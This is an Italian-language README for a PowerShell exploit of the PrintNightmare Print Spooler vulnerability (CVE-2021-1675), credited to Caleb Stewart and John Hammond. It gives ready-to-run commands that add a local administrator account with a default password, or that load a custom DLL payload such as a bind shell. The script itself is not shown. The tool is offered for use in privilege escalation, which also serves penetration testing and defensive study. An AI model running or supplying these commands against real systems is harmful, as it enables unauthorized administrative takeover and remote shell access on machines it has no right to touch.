
Exploit PowerShell per CVE-2021-1675 (PrintNightmare) che esegue l'escalation dei privilegi locali aggiungendo un utente al gruppo degli amministratori locali tramite Print Spooler.
Caleb Stewart | John Hammond | July 1, 2021
CVE-2021-1675 è una vulnerabilità critica di esecuzione remota di codice e di escalation dei privilegi locali soprannominata "PrintNightmare."
Sono state rilasciate proof-of-concept di exploit (Python, C++) per la capacità di esecuzione remota di codice, e una versione in C# per l'escalation dei privilegi locali. Non avevamo visto un'implementazione nativa in puro PowerShell, e abbiamo voluto cimentarci nel perfezionamento e nella rielaborazione dell'exploit.
Questo script PowerShell esegue l'escalation dei privilegi locali (LPE) con la tecnica di attacco PrintNightmare.

È stato testato su Windows Server 2016 e Windows Server 2019.
Aggiunge un nuovo utente al gruppo degli amministratori locali per impostazione predefinita:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Fornisci un payload DLL personalizzato per fare qualsiasi altra cosa desideri.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"